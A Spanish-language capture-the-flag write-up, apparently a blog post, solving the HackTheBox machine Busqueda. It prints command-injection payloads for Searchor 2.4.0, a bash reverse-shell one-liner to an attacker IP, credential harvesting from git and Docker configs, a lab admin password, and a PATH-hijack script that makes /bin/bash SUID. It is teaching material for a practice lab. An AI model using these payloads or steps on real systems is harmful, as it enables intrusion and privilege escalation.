Post

Busqueda

Writeup de la máquina Busqueda de Hackthebox.

Busqueda

Resumen de la resolución

Busqueda es una máquina Linux de dificultad Easy de la plataforma de HackTheBox, en ella aprenderemos como ejecutar comandos remotamente gracias a la Command Injection presente la librería Searchor. Tras ganar acceso a la máquina víctima conseguiremos leer las credenciales del usuario actual para listar el permiso de Sudoers con el cual a su vez conseguiremos leer la credencial para el usuario administrator de Gitea. Una vez estamos en el Gitea como el usuario administrator conseguiremos leer el contenido del fichero sobre el cual tenemos permiso de Sudoers y nos daremos cuenta que el binario full-checkup.sh se está ejecutando de manera relativa por lo que abusaremos de un Path Hijacking para ejecutar el comando que queremos.


Enumeración

En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:

1
openvpn lab_trr0r.opvn

Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script **whichSystem.py** podremos conocer dicha información.

El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando ping -c 1 -R 10.10.11.208.

Nmap

En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.

1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.11.208 -oG allPorts

Observamos como nos reporta que se encuentran abiertos los puertos 22 y 80.

Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.

A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.

1
nmap -p22,80 -sCV 10.10.11.208 -oN targeted

En el segundo escaneo de Nmap lo que más nos llamará la atención es que existe el subdominio searcher.htb.

___

Puerto 80 - HTTP (Apache)

Realizaremos Virtual Hosting añadiendo la siguiente línea 10.10.11.208 searcher.htb al /etc/hosts y al acceder a dicho subdominio veremos la siguiente página.

Probaremos el funcionamiento de la página web rellenando el formulario tal que así.

Si no marcamos la casilla Auto redirect nos pondrá el link a la que página que nos hubiera redirigido.


Explotación

Command Injection vía Searchor 2.4.0

Tras mirar diferentes formas de explotación recurriremos a mirar exploits para la herramienta que se esta usando por detrás, es decir Searchor 2.4.0.

Tras navegar por internet nos encontraremos con unos exploits que nos permiten ejecutar comandos remotamente a través de una Command Injection basada en los siguientes comandos.

1
',exec("import+os;os.system('ping+-c+1+10.10.16.3')"))#
1
',__import__('os').system('ping+-c+1+10.10.16.3'))#

A continuación ejecutando cualquiera de los anteriores payload conseguiremos tener ejecución remota de comandos (RCE) y además, somos capaces de ver el output del comando.

En este punto lo que haremos será ponernos en escucha con NetCat (nc -nvlp 443) y nos montaremos un servidor con python (python3 -m http.server) donde tendremos un archivo con el típico one liner de bash (bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1") para posteriormente enviar una Reverse Shell a través del siguiente payload.

Tal y como vemos a continuación conseguimos acceso a la máquina víctima.

___

Escalada de privilegios

Enumeración local

Tras navegar por los directorios de la página web (/var/www/app) nos encontraremos con un repositorio de github el cual tiene un archivo de configuración (/var/www/app/.git/config) con las siguientes credenciales.

Miraremos los procesos que están a la escucha y nos llamará la atención los dos servicios montados localmente, el del puerto 3000 y el 5000.

Tras mirar el fichero de configuración de apache (/etc/apache2/sites-available/000-default.conf) entenderemos mejor lo que está pasando, en definitiva el sitio web que vemos abierto externamente (searcher.htb) es el puerto 5000 de la máquina víctima ya que se está por un Proxy.

Para poder acceder al puerto 3000 de la máquina victima hemos de realizar Port Forwarding, para ello usaremos ssh ya que es más cómodo que usar chisel.

En definitiva hemos de ejecutar los siguientes comandos para aplicar el Local Port Forwarding.

1
2
3
4
5
mkdir /home/svc/.ssh
cd /home/svc/.ssh
ssh-keygen
cat /home/svc/.ssh/id_rsa.pub > /home/svc/.ssh/authorized_keys
cat /home/svc/.ssh/id_rsa

Gracias a la instrucción nos conectaremos a la máquina victima usando la clave privada y a su vez realizaremos Local Port Forwarding donde estaremos convirtiendo nuestro puerto 80 en el puerto 3000 de la máquina víctima donde está alojado el Gitea.

1
ssh -i id_rsa svc@10.10.11.208 -L 80:127.0.0.1:3000

Al acceder a nuestro puerto 80 (puerto 3000 de la máquina víctima) veremos como nos saltará el siguiente warning.

Para solucionar el siguiente error hemos de añadir la siguiente línea 127.0.0.1 gitea.searcher.htb al /etc/hosts.

Una vez solucionado nos logearemos como cody con las credenciales encontradas pero no podemos hacer nada interesante en el Gitea.

Sudoers vía system-checkup.py

Probaremos la misma contraseña para listar los permisos Sudoers del usuario svc y observaremos que podemos ejecutar un script de python como root.

El script de python cuenta con el siguiente panel de ayuda con el cual podemos realizar diferentes acciones sobre contendores de docker.

Listaremos los contenedores que hay en ejecución gracias al siguiente comando y nos llamará la atención el contenedor donde está alojado mysql.

Gracias al siguiente comando podemos listar toda la información del contendor de mysql en formato json.

1
sudo -u root python3 /opt/scripts/system-checkup.py docker-inspect '' mysql_db | jq

Entre toda la información que nos reporta nos llamará la atención unas variables de entorno donde están almacenadas 2 contraseñas.

Tras probar diferentes combinaciones conseguiremos registrarnos en el Gitea con las siguientes credenciales administrator:yuiu1hoiu4i5ho1uh y nos llamará la atención el repositorio scripts.

Dicho repositorio podemos encontrarlo localmente en la ruta /opt/scripts.

Tras revisar el código de los scripts a través del Gitea ya que localmente no podemos, nos percataremos que en el script system-checkup.py se está llamando a full-checkup.sh de manera relativa.

Nos aprovecharemos de que se está llamando relativamente al script full-checkup.sh para aplicar un PATH Hijacking, en primer lguar nos crearemos el script /tmp/full-checkup.sh con el siguiente contenido.

1
2
3
#!/bin/bash

chmod +s /bin/bash

Le daremos permisos de ejecución y ubicados en /tmp ejecutaremos la siguiente instrucción.

1
sudo -u root python3 /opt/scripts/system-checkup.py full-checkup

Observamos que la /bin/bash obtiene permisos SUID por lo que ya nos habremos convertido en el usuario root de manera efectiva (efective user id).

This post is licensed under CC BY 4.0 by the author.